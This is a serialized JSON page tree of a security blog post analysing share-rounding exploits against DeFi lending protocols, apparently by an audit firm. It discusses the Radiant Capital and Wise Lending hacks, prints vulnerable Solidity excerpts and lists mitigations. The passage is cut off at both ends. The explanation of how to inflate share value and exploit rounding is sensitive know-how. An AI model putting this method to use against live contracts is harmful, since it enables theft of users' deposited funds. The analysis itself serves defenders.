",{"type":23,"tag":659,"props":43746,"children":43747},{},[43748],{"type":28,"value":43749},"entire",{"type":28,"value":43751}," runtime.",{"type":23,"tag":817,"props":43753,"children":43754},{},[43755],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":43757},[43758,43762,43763,43766],{"id":16964,"depth":151,"text":16967,"children":43759},[43760,43761],{"id":38432,"depth":160,"text":38435},{"id":39751,"depth":160,"text":39754},{"id":40990,"depth":151,"text":40993},{"id":41826,"depth":151,"text":41829,"children":43764},[43765],{"id":41940,"depth":160,"text":41943},{"id":26955,"depth":151,"text":16955},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":43771,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":43772,"description":43773,"author":43774,"image":43775,"date":43777,"isFeatured":15,"onBlogPage":15,"body":43778,"_type":831,"_id":44924,"_source":833,"_file":44925,"_stem":44926,"_extension":836},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[10],{"src":43776},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":43779,"toc":44913},[43780,43784,43812,43817,43830,43835,43841,43846,43851,43856,43861,43874,43886,43906,43926,43931,43936,43954,43960,43965,43971,43985,43998,44003,44009,44023,44028,44050,44283,44288,44293,44306,44546,44556,44561,44567,44572,44577,44610,44615,44626,44632,44637,44651,44779,44793,44869,44874,44885,44890,44895,44899,44904,44909],{"type":23,"tag":41,"props":43781,"children":43782},{"id":27037},[43783],{"type":28,"value":27040},{"type":23,"tag":24,"props":43785,"children":43786},{},[43787,43789,43796,43797,43804,43806,43811],{"type":28,"value":43788},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":64,"props":43790,"children":43793},{"href":43791,"rel":43792},"https://neodyme.io/de/blog/lending_disclosure",[68],[43794],{"type":28,"value":43795},"fast",{"type":28,"value":1052},{"type":23,"tag":64,"props":43798,"children":43801},{"href":43799,"rel":43800},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[68],[43802],{"type":28,"value":43803},"cheap",{"type":28,"value":43805}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":659,"props":43807,"children":43808},{},[43809],{"type":28,"value":43810},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":73},{"type":23,"tag":24,"props":43813,"children":43814},{},[43815],{"type":28,"value":43816},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":797,"props":43818,"children":43819},{},[43820,43825],{"type":23,"tag":801,"props":43821,"children":43822},{},[43823],{"type":28,"value":43824},"Inflate share value (token to share conversion rate)",{"type":23,"tag":801,"props":43826,"children":43827},{},[43828],{"type":28,"value":43829},"Exploit rounding bug",{"type":23,"tag":24,"props":43831,"children":43832},{},[43833],{"type":28,"value":43834},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":41,"props":43836,"children":43838},{"id":43837},"model",[43839],{"type":28,"value":43840},"Model",{"type":23,"tag":24,"props":43842,"children":43843},{},[43844],{"type":28,"value":43845},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":24,"props":43847,"children":43848},{},[43849],{"type":28,"value":43850},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":24,"props":43852,"children":43853},{},[43854],{"type":28,"value":43855},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":24,"props":43857,"children":43858},{},[43859],{"type":28,"value":43860},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":24,"props":43862,"children":43863},{},[43864,43866,43872],{"type":28,"value":43865},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":135,"props":43867,"children":43869},{"className":43868},[],[43870],{"type":28,"value":43871},"1000:1000",{"type":28,"value":43873}," (1000 tokens to 1000 shares).",{"type":23,"tag":24,"props":43875,"children":43876},{},[43877,43879,43885],{"type":28,"value":43878},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":135,"props":43880,"children":43882},{"className":43881},[],[43883],{"type":28,"value":43884},"1001:1000",{"type":28,"value":73},{"type":23,"tag":24,"props":43887,"children":43888},{},[43889,43891,43897,43899,43904],{"type":28,"value":43890},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":135,"props":43892,"children":43894},{"className":43893},[],[43895],{"type":28,"value":43896},"1001/1000*999 = 999.999",{"type":28,"value":43898},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":659,"props":43900,"children":43901},{},[43902],{"type":28,"value":43903},"down",{"type":28,"value":43905}," against the user.",{"type":23,"tag":24,"props":43907,"children":43908},{},[43909,43911,43917,43919,43925],{"type":28,"value":43910},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":135,"props":43912,"children":43914},{"className":43913},[],[43915],{"type":28,"value":43916},"2:1",{"type":28,"value":43918},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":135,"props":43920,"children":43922},{"className":43921},[],[43923],{"type":28,"value":43924},"3:1",{"type":28,"value":73},{"type":23,"tag":24,"props":43927,"children":43928},{},[43929],{"type":28,"value":43930},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":24,"props":43932,"children":43933},{},[43934],{"type":28,"value":43935},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":797,"props":43937,"children":43938},{},[43939,43944,43949],{"type":23,"tag":801,"props":43940,"children":43941},{},[43942],{"type":28,"value":43943},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":801,"props":43945,"children":43946},{},[43947],{"type":28,"value":43948},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":801,"props":43950,"children":43951},{},[43952],{"type":28,"value":43953},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":41,"props":43955,"children":43957},{"id":43956},"decisions",[43958],{"type":28,"value":43959},"Decisions",{"type":23,"tag":24,"props":43961,"children":43962},{},[43963],{"type":28,"value":43964},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":666,"props":43966,"children":43968},{"id":43967},"radiant-capital",[43969],{"type":28,"value":43970},"Radiant Capital",{"type":23,"tag":24,"props":43972,"children":43973},{},[43974,43976,43983],{"type":28,"value":43975},"Radiant Capital was ",{"type":23,"tag":64,"props":43977,"children":43980},{"href":43978,"rel":43979},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[68],[43981],{"type":28,"value":43982},"hacked on Jan 2nd",{"type":28,"value":43984}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":24,"props":43986,"children":43987},{},[43988,43990,43997],{"type":28,"value":43989},"The exploit is relatively straightforward and ",{"type":23,"tag":64,"props":43991,"children":43994},{"href":43992,"rel":43993},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[68],[43995],{"type":28,"value":43996},"has already been covered previously",{"type":28,"value":73},{"type":23,"tag":24,"props":43999,"children":44000},{},[44001],{"type":28,"value":44002},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":666,"props":44004,"children":44006},{"id":44005},"wise-lending",[44007],{"type":28,"value":44008},"Wise Lending",{"type":23,"tag":24,"props":44010,"children":44011},{},[44012,44014,44021],{"type":28,"value":44013},"Wise Lending was ",{"type":23,"tag":64,"props":44015,"children":44018},{"href":44016,"rel":44017},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[68],[44019],{"type":28,"value":44020},"hacked on January 13th",{"type":28,"value":44022}," for just under $460,000.",{"type":23,"tag":24,"props":44024,"children":44025},{},[44026],{"type":28,"value":44027},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":24,"props":44029,"children":44030},{},[44031,44033,44040,44042,44049],{"type":28,"value":44032},"This is ",{"type":23,"tag":64,"props":44034,"children":44037},{"href":44035,"rel":44036},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[68],[44038],{"type":28,"value":44039},"the code responsible",{"type":28,"value":44041}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":64,"props":44043,"children":44046},{"href":44044,"rel":44045},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[68],[44047],{"type":28,"value":44048},"no way to atomically self-bankrupt",{"type":28,"value":73},{"type":23,"tag":128,"props":44051,"children":44053},{"className":2476,"code":44052,"language":2475,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[44054],{"type":23,"tag":135,"props":44055,"children":44056},{"__ignoreMap":7},[44057,44088,44096,44104,44111,44133,44146,44153,44174,44204,44216,44228,44235,44259,44276],{"type":23,"tag":139,"props":44058,"children":44059},{"class":141,"line":142},[44060,44065,44070,44074,44079,44084],{"type":23,"tag":139,"props":44061,"children":44062},{"style":305},[44063],{"type":28,"value":44064},"uint256",{"type":23,"tag":139,"props":44066,"children":44067},{"style":259},[44068],{"type":28,"value":44069}," withdrawValue ",{"type":23,"tag":139,"props":44071,"children":44072},{"style":982},[44073],{"type":28,"value":1067},{"type":23,"tag":139,"props":44075,"children":44076},{"style":259},[44077],{"type":28,"value":44078}," WISE_ORACLE.",{"type":23,"tag":139,"props":44080,"children":44081},{"style":245},[44082],{"type":28,"value":44083},"getTokensInETH",{"type":23,"tag":139,"props":44085,"children":44086},{"style":259},[44087],{"type":28,"value":1443},{"type":23,"tag":139,"props":44089,"children":44090},{"class":141,"line":151},[44091],{"type":23,"tag":139,"props":44092,"children":44093},{"style":259},[44094],{"type":28,"value":44095},"    _poolToken,\n",{"type":23,"tag":139,"props":44097,"children":44098},{"class":141,"line":160},[44099],{"type":23,"tag":139,"props":44100,"children":44101},{"style":259},[44102],{"type":28,"value":44103},"    _amount\n",{"type":23,"tag":139,"props":44105,"children":44106},{"class":141,"line":169},[44107],{"type":23,"tag":139,"props":44108,"children":44109},{"style":259},[44110],{"type":28,"value":273},{"type":23,"tag":139,"props":44112,"children":44113},{"class":141,"line":178},[44114,44118,44123,44128],{"type":23,"tag":139,"props":44115,"children":44116},{"style":982},[44117],{"type":28,"value":15574},{"type":23,"tag":139,"props":44119,"children":44120},{"style":259},[44121],{"type":28,"value":44122}," WISE_LENDING.",{"type":23,"tag":139,"props":44124,"children":44125},{"style":245},[44126],{"type":28,"value":44127},"lendingPoolData",{"type":23,"tag":139,"props":44129,"children":44130},{"style":259},[44131],{"type":28,"value":44132},"(_poolToken).collateralFactor\n",{"type":23,"tag":139,"props":44134,"children":44135},{"class":141,"line":187},[44136,44141],{"type":23,"tag":139,"props":44137,"children":44138},{"style":982},[44139],{"type":28,"value":44140},"    /",{"type":23,"tag":139,"props":44142,"children":44143},{"style":259},[44144],{"type":28,"value":44145}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":139,"props":44147,"children":44148},{"class":141,"line":196},[44149],{"type":23,"tag":139,"props":44150,"children":44151},{"emptyLinePlaceholder":15},[44152],{"type":28,"value":184},{"type":23,"tag":139,"props":44154,"children":44155},{"class":141,"line":205},[44156,44160,44165,44169],{"type":23,"tag":139,"props":44157,"children":44158},{"style":305},[44159],{"type":28,"value":308},{"type":23,"tag":139,"props":44161,"children":44162},{"style":259},[44163],{"type":28,"value":44164}," state ",{"type":23,"tag":139,"props":44166,"children":44167},{"style":982},[44168],{"type":28,"value":1067},{"type":23,"tag":139,"props":44170,"children":44171},{"style":259},[44172],{"type":28,"value":44173}," borrowPercentageCap\n",{"type":23,"tag":139,"props":44175,"children":44176},{"class":141,"line":214},[44177,44181,44185,44190,44195,44199],{"type":23,"tag":139,"props":44178,"children":44179},{"style":982},[44180],{"type":28,"value":15574},{"type":23,"tag":139,"props":44182,"children":44183},{"style":259},[44184],{"type":28,"value":1042},{"type":23,"tag":139,"props":44186,"children":44187},{"style":245},[44188],{"type":28,"value":44189},"overallETHCollateralsWeighted",{"type":23,"tag":139,"props":44191,"children":44192},{"style":259},[44193],{"type":28,"value":44194},"(_nftId) ",{"type":23,"tag":139,"props":44196,"children":44197},{"style":982},[44198],{"type":28,"value":2328},{"type":23,"tag":139,"props":44200,"children":44201},{"style":259},[44202],{"type":28,"value":44203}," withdrawValue)\n",{"type":23,"tag":139,"props":44205,"children":44206},{"class":141,"line":1320},[44207,44211],{"type":23,"tag":139,"props":44208,"children":44209},{"style":982},[44210],{"type":28,"value":44140},{"type":23,"tag":139,"props":44212,"children":44213},{"style":259},[44214],{"type":28,"value":44215}," PRECISION_FACTOR_E18\n",{"type":23,"tag":139,"props":44217,"children":44218},{"class":141,"line":1329},[44219,44223],{"type":23,"tag":139,"props":44220,"children":44221},{"style":982},[44222],{"type":28,"value":30333},{"type":23,"tag":139,"props":44224,"children":44225},{"style":259},[44226],{"type":28,"value":44227}," borrowAmount;\n",{"type":23,"tag":139,"props":44229,"children":44230},{"class":141,"line":1580},[44231],{"type":23,"tag":139,"props":44232,"children":44233},{"emptyLinePlaceholder":15},[44234],{"type":28,"value":184},{"type":23,"tag":139,"props":44236,"children":44237},{"class":141,"line":1597},[44238,44242,44247,44251,44255],{"type":23,"tag":139,"props":44239,"children":44240},{"style":319},[44241],{"type":28,"value":13590},{"type":23,"tag":139,"props":44243,"children":44244},{"style":259},[44245],{"type":28,"value":44246}," (state ",{"type":23,"tag":139,"props":44248,"children":44249},{"style":982},[44250],{"type":28,"value":6580},{"type":23,"tag":139,"props":44252,"children":44253},{"style":279},[44254],{"type":28,"value":10480},{"type":23,"tag":139,"props":44256,"children":44257},{"style":259},[44258],{"type":28,"value":12815},{"type":23,"tag":139,"props":44260,"children":44261},{"class":141,"line":1614},[44262,44267,44272],{"type":23,"tag":139,"props":44263,"children":44264},{"style":319},[44265],{"type":28,"value":44266},"    revert",{"type":23,"tag":139,"props":44268,"children":44269},{"style":245},[44270],{"type":28,"value":44271}," ResultsInBadDebt",{"type":23,"tag":139,"props":44273,"children":44274},{"style":259},[44275],{"type":28,"value":1656},{"type":23,"tag":139,"props":44277,"children":44278},{"class":141,"line":1627},[44279],{"type":23,"tag":139,"props":44280,"children":44281},{"style":259},[44282],{"type":28,"value":1897},{"type":23,"tag":24,"props":44284,"children":44285},{},[44286],{"type":28,"value":44287},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":24,"props":44289,"children":44290},{},[44291],{"type":28,"value":44292},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":24,"props":44294,"children":44295},{},[44296,44298,44304],{"type":28,"value":44297},"And indeed, ",{"type":23,"tag":64,"props":44299,"children":44302},{"href":44300,"rel":44301},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[68],[44303],{"type":28,"value":44008},{"type":28,"value":44305}," rounds up the share value.",{"type":23,"tag":128,"props":44307,"children":44309},{"className":2476,"code":44308,"language":2475,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[44310],{"type":23,"tag":135,"props":44311,"children":44312},{"__ignoreMap":7},[44313,44329,44346,44362,44375,44382,44390,44398,44418,44425,44446,44467,44489,44518,44539],{"type":23,"tag":139,"props":44314,"children":44315},{"class":141,"line":142},[44316,44320,44325],{"type":23,"tag":139,"props":44317,"children":44318},{"style":279},[44319],{"type":28,"value":29264},{"type":23,"tag":139,"props":44321,"children":44322},{"style":245},[44323],{"type":28,"value":44324}," _calculateShares",{"type":23,"tag":139,"props":44326,"children":44327},{"style":259},[44328],{"type":28,"value":1443},{"type":23,"tag":139,"props":44330,"children":44331},{"class":141,"line":151},[44332,44337,44342],{"type":23,"tag":139,"props":44333,"children":44334},{"style":305},[44335],{"type":28,"value":44336},"    uint256",{"type":23,"tag":139,"props":44338,"children":44339},{"style":294},[44340],{"type":28,"value":44341}," _product",{"type":23,"tag":139,"props":44343,"children":44344},{"style":259},[44345],{"type":28,"value":1488},{"type":23,"tag":139,"props":44347,"children":44348},{"class":141,"line":160},[44349,44353,44358],{"type":23,"tag":139,"props":44350,"children":44351},{"style":305},[44352],{"type":28,"value":44336},{"type":23,"tag":139,"props":44354,"children":44355},{"style":294},[44356],{"type":28,"value":44357}," _pseudo",{"type":23,"tag":139,"props":44359,"children":44360},{"style":259},[44361],{"type":28,"value":1488},{"type":23,"tag":139,"props":44363,"children":44364},{"class":141,"line":169},[44365,44370],{"type":23,"tag":139,"props":44366,"children":44367},{"style":305},[44368],{"type":28,"value":44369},"    bool",{"type":23,"tag":139,"props":44371,"children":44372},{"style":294},[44373],{"type":28,"value":44374}," _maxSharePrice\n",{"type":23,"tag":139,"props":44376,"children":44377},{"class":141,"line":178},[44378],{"type":23,"tag":139,"props":44379,"children":44380},{"style":259},[44381],{"type":28,"value":273},{"type":23,"tag":139,"props":44383,"children":44384},{"class":141,"line":187},[44385],{"type":23,"tag":139,"props":44386,"children":44387},{"style":279},[44388],{"type":28,"value":44389},"    private\n",{"type":23,"tag":139,"props":44391,"children":44392},{"class":141,"line":196},[44393],{"type":23,"tag":139,"props":44394,"children":44395},{"style":279},[44396],{"type":28,"value":44397},"    pure\n",{"type":23,"tag":139,"props":44399,"children":44400},{"class":141,"line":205},[44401,44406,44410,44414],{"type":23,"tag":139,"props":44402,"children":44403},{"style":319},[44404],{"type":28,"value":44405},"    returns",{"type":23,"tag":139,"props":44407,"children":44408},{"style":259},[44409],{"type":28,"value":1042},{"type":23,"tag":139,"props":44411,"children":44412},{"style":305},[44413],{"type":28,"value":44064},{"type":23,"tag":139,"props":44415,"children":44416},{"style":259},[44417],{"type":28,"value":273},{"type":23,"tag":139,"props":44419,"children":44420},{"class":141,"line":214},[44421],{"type":23,"tag":139,"props":44422,"children":44423},{"style":259},[44424],{"type":28,"value":8890},{"type":23,"tag":139,"props":44426,"children":44427},{"class":141,"line":1320},[44428,44432,44437,44441],{"type":23,"tag":139,"props":44429,"children":44430},{"style":319},[44431],{"type":28,"value":322},{"type":23,"tag":139,"props":44433,"children":44434},{"style":259},[44435],{"type":28,"value":44436}," _maxSharePrice ",{"type":23,"tag":139,"props":44438,"children":44439},{"style":982},[44440],{"type":28,"value":6580},{"type":23,"tag":139,"props":44442,"children":44443},{"style":279},[44444],{"type":28,"value":44445}," true\n",{"type":23,"tag":139,"props":44447,"children":44448},{"class":141,"line":1329},[44449,44454,44459,44463],{"type":23,"tag":139,"props":44450,"children":44451},{"style":982},[44452],{"type":28,"value":44453},"        ?",{"type":23,"tag":139,"props":44455,"children":44456},{"style":259},[44457],{"type":28,"value":44458}," _product % _pseudo ",{"type":23,"tag":139,"props":44460,"children":44461},{"style":982},[44462],{"type":28,"value":6580},{"type":23,"tag":139,"props":44464,"children":44465},{"style":1016},[44466],{"type":28,"value":22299},{"type":23,"tag":139,"props":44468,"children":44469},{"class":141,"line":1580},[44470,44475,44480,44484],{"type":23,"tag":139,"props":44471,"children":44472},{"style":982},[44473],{"type":28,"value":44474},"            ?",{"type":23,"tag":139,"props":44476,"children":44477},{"style":259},[44478],{"type":28,"value":44479}," _product ",{"type":23,"tag":139,"props":44481,"children":44482},{"style":982},[44483],{"type":28,"value":2583},{"type":23,"tag":139,"props":44485,"children":44486},{"style":259},[44487],{"type":28,"value":44488}," _pseudo\n",{"type":23,"tag":139,"props":44490,"children":44491},{"class":141,"line":1597},[44492,44497,44501,44505,44510,44514],{"type":23,"tag":139,"props":44493,"children":44494},{"style":982},[44495],{"type":28,"value":44496},"            :",{"type":23,"tag":139,"props":44498,"children":44499},{"style":259},[44500],{"type":28,"value":44479},{"type":23,"tag":139,"props":44502,"children":44503},{"style":982},[44504],{"type":28,"value":2583},{"type":23,"tag":139,"props":44506,"children":44507},{"style":259},[44508],{"type":28,"value":44509}," _pseudo ",{"type":23,"tag":139,"props":44511,"children":44512},{"style":982},[44513],{"type":28,"value":2382},{"type":23,"tag":139,"props":44515,"children":44516},{"style":1016},[44517],{"type":28,"value":17451},{"type":23,"tag":139,"props":44519,"children":44520},{"class":141,"line":1614},[44521,44526,44530,44534],{"type":23,"tag":139,"props":44522,"children":44523},{"style":982},[44524],{"type":28,"value":44525},"        :",{"type":23,"tag":139,"props":44527,"children":44528},{"style":259},[44529],{"type":28,"value":44479},{"type":23,"tag":139,"props":44531,"children":44532},{"style":982},[44533],{"type":28,"value":2583},{"type":23,"tag":139,"props":44535,"children":44536},{"style":259},[44537],{"type":28,"value":44538}," _pseudo;\n",{"type":23,"tag":139,"props":44540,"children":44541},{"class":141,"line":1627},[44542],{"type":23,"tag":139,"props":44543,"children":44544},{"style":259},[44545],{"type":28,"value":1897},{"type":23,"tag":24,"props":44547,"children":44548},{},[44549,44554],{"type":23,"tag":659,"props":44550,"children":44551},{},[44552],{"type":28,"value":44553},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":44555},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":24,"props":44557,"children":44558},{},[44559],{"type":28,"value":44560},"This is a really tricky invariant to reason about!",{"type":23,"tag":41,"props":44562,"children":44564},{"id":44563},"root-cause",[44565],{"type":28,"value":44566},"Root Cause",{"type":23,"tag":24,"props":44568,"children":44569},{},[44570],{"type":28,"value":44571},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":24,"props":44573,"children":44574},{},[44575],{"type":28,"value":44576},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":128,"props":44578,"children":44580},{"className":2476,"code":44579,"language":2475,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[44581],{"type":23,"tag":135,"props":44582,"children":44583},{"__ignoreMap":7},[44584],{"type":23,"tag":139,"props":44585,"children":44586},{"class":141,"line":142},[44587,44592,44596,44601,44605],{"type":23,"tag":139,"props":44588,"children":44589},{"style":259},[44590],{"type":28,"value":44591},"totalDepositShares ",{"type":23,"tag":139,"props":44593,"children":44594},{"style":982},[44595],{"type":28,"value":2573},{"type":23,"tag":139,"props":44597,"children":44598},{"style":259},[44599],{"type":28,"value":44600}," _amount ",{"type":23,"tag":139,"props":44602,"children":44603},{"style":982},[44604],{"type":28,"value":2583},{"type":23,"tag":139,"props":44606,"children":44607},{"style":259},[44608],{"type":28,"value":44609}," pseudoTotalPool\n",{"type":23,"tag":24,"props":44611,"children":44612},{},[44613],{"type":28,"value":44614},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":24,"props":44616,"children":44617},{},[44618,44620,44624],{"type":28,"value":44619},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":659,"props":44621,"children":44622},{},[44623],{"type":28,"value":17924},{"type":28,"value":44625}," integer division?",{"type":23,"tag":41,"props":44627,"children":44629},{"id":44628},"mitigations",[44630],{"type":28,"value":44631},"Mitigations",{"type":23,"tag":24,"props":44633,"children":44634},{},[44635],{"type":28,"value":44636},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":24,"props":44638,"children":44639},{},[44640,44642,44649],{"type":28,"value":44641},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":64,"props":44643,"children":44646},{"href":44644,"rel":44645},"https://twitter.com/danielvf/status/1746306320553152615",[68],[44647],{"type":28,"value":44648},"@danielvf notes",{"type":28,"value":44650},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":128,"props":44652,"children":44654},{"className":2476,"code":44653,"language":2475,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[44655],{"type":23,"tag":135,"props":44656,"children":44657},{"__ignoreMap":7},[44658,44682,44729,44763],{"type":23,"tag":139,"props":44659,"children":44660},{"class":141,"line":142},[44661,44665,44670,44674,44678],{"type":23,"tag":139,"props":44662,"children":44663},{"style":319},[44664],{"type":28,"value":13590},{"type":23,"tag":139,"props":44666,"children":44667},{"style":259},[44668],{"type":28,"value":44669}," (_totalSupply ",{"type":23,"tag":139,"props":44671,"children":44672},{"style":982},[44673],{"type":28,"value":6580},{"type":23,"tag":139,"props":44675,"children":44676},{"style":1016},[44677],{"type":28,"value":1019},{"type":23,"tag":139,"props":44679,"children":44680},{"style":259},[44681],{"type":28,"value":12815},{"type":23,"tag":139,"props":44683,"children":44684},{"class":141,"line":151},[44685,44690,44694,44699,44704,44709,44714,44719,44724],{"type":23,"tag":139,"props":44686,"children":44687},{"style":259},[44688],{"type":28,"value":44689},"    liquidity ",{"type":23,"tag":139,"props":44691,"children":44692},{"style":982},[44693],{"type":28,"value":1067},{"type":23,"tag":139,"props":44695,"children":44696},{"style":259},[44697],{"type":28,"value":44698}," Math.",{"type":23,"tag":139,"props":44700,"children":44701},{"style":245},[44702],{"type":28,"value":44703},"sqrt",{"type":23,"tag":139,"props":44705,"children":44706},{"style":259},[44707],{"type":28,"value":44708},"(amount0.",{"type":23,"tag":139,"props":44710,"children":44711},{"style":245},[44712],{"type":28,"value":44713},"mul",{"type":23,"tag":139,"props":44715,"children":44716},{"style":259},[44717],{"type":28,"value":44718},"(amount1)).",{"type":23,"tag":139,"props":44720,"children":44721},{"style":245},[44722],{"type":28,"value":44723},"sub",{"type":23,"tag":139,"props":44725,"children":44726},{"style":259},[44727],{"type":28,"value":44728},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":139,"props":44730,"children":44731},{"class":141,"line":160},[44732,44737,44741,44745,44749,44753,44758],{"type":23,"tag":139,"props":44733,"children":44734},{"style":245},[44735],{"type":28,"value":44736},"   _mint",{"type":23,"tag":139,"props":44738,"children":44739},{"style":259},[44740],{"type":28,"value":262},{"type":23,"tag":139,"props":44742,"children":44743},{"style":305},[44744],{"type":28,"value":30528},{"type":23,"tag":139,"props":44746,"children":44747},{"style":259},[44748],{"type":28,"value":262},{"type":23,"tag":139,"props":44750,"children":44751},{"style":1016},[44752],{"type":28,"value":2021},{"type":23,"tag":139,"props":44754,"children":44755},{"style":259},[44756],{"type":28,"value":44757},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":139,"props":44759,"children":44760},{"style":958},[44761],{"type":28,"value":44762},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":139,"props":44764,"children":44765},{"class":141,"line":169},[44766,44771,44775],{"type":23,"tag":139,"props":44767,"children":44768},{"style":259},[44769],{"type":28,"value":44770},"} ",{"type":23,"tag":139,"props":44772,"children":44773},{"style":319},[44774],{"type":28,"value":1293},{"type":23,"tag":139,"props":44776,"children":44777},{"style":259},[44778],{"type":28,"value":1268},{"type":23,"tag":24,"props":44780,"children":44781},{},[44782,44784,44791],{"type":28,"value":44783},"Alternatively, ",{"type":23,"tag":64,"props":44785,"children":44788},{"href":44786,"rel":44787},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[68],[44789],{"type":28,"value":44790},"storing the conversion rate separately",{"type":28,"value":44792}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":128,"props":44794,"children":44796},{"className":2476,"code":44795,"language":2475,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / 